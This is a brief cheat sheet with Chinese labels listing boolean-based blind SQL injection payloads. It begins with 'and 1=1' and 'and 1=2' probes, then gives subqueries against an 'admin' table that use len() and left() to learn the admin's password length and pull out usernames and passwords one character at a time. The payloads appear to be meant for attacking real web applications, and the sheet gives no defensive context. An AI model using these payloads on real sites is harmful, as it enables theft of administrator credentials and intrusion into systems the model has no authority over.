and 1=1
and 1=2
管理员列表 and 1 = (select min(id) from admin)
密码长度 and 1 = (select min(id) from admin where len(password)>5)
用户名 and 1=(select min(id) from admin where left(username,1)='1')
站长ID
测试ID and 1=(select min(id) from admin where left(username,6)='站长ID')
密码 and 1=(select min(id) from admin where left(password,1)='1')
登陆地址